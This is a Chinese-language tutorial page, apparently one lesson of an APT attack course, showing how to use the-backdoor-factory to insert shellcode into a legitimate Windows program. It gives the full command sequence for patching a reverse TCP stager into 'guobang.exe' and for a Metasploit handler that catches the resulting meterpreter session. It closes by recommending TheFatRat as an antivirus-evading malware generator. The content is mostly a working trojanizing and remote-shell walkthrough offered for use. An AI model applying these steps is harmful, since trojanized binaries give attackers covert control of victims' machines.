专注 APT 攻击与防御—工具介绍-the-backdoor-factory-编程知识

工具介绍 the-backdoor-factory

项目地址：
GitHub - secretsquirrel/the-backdoor-factory: Patch PE, ELF, Mach-O binaries with shellcode new version in development, available only to sponsors

原理

可执行二进制文件中有大量的 00，这些 00 是不包含数据的，将这些数据替换成 payload，并且在程序执行的时候，jmp 到代码段，来触发 payload。

以项目中的过磅系统为例：

root@John:~/Desktop# git clone https://github.com/secretsquirrel/the-backdoor-factory.git
//安装the-backdoor-factory

第九课：工具介绍-the-backdoor-factory - 图1

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -S
//检测是否支持后门植入

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -c -l 150
//测试裂缝空间size150

第九课：工具介绍-the-backdoor-factory - 图3

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -s show
//查看可用payload

第九课：工具介绍-the-backdoor-factory - 图4

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -H 192.168.1.111 -P 8080 -s iat_reverse_tcp_stager_threaded
//插入payload，并生成文件。

第九课：工具介绍-the-backdoor-factory - 图5

root@John:~/Desktop/the-backdoor-factory# md5sum ./guobang.exe /root/demo/guobang.exe
//对比原文件与生成文件MD5值

第九课：工具介绍-the-backdoor-factory - 图6

root@John:~/Desktop/the-backdoor-factory# du -k ./guobang.exe /root/demo/guobang.exe
//对比文件大小

第九课：工具介绍-the-backdoor-factory - 图7

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.111
lhost => 192.168.1.111
msf exploit(handler) > set lport 8080
lport => 8080
msf exploit(handler) > exploit -j
//开启本地监听

//打开软件

meterpreter > getuid
Server username: John-PC\John

//确定目标

msfvenom 常用生成 Payload 命令

便捷化payload生成：

项目地址：
GitHub - screetsec/TheFatRat: Thefatrat a massive exploiting tool : Easy tool to generate backdoor and easy tool to post exploitation attack like browser attack and etc . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV software protection .
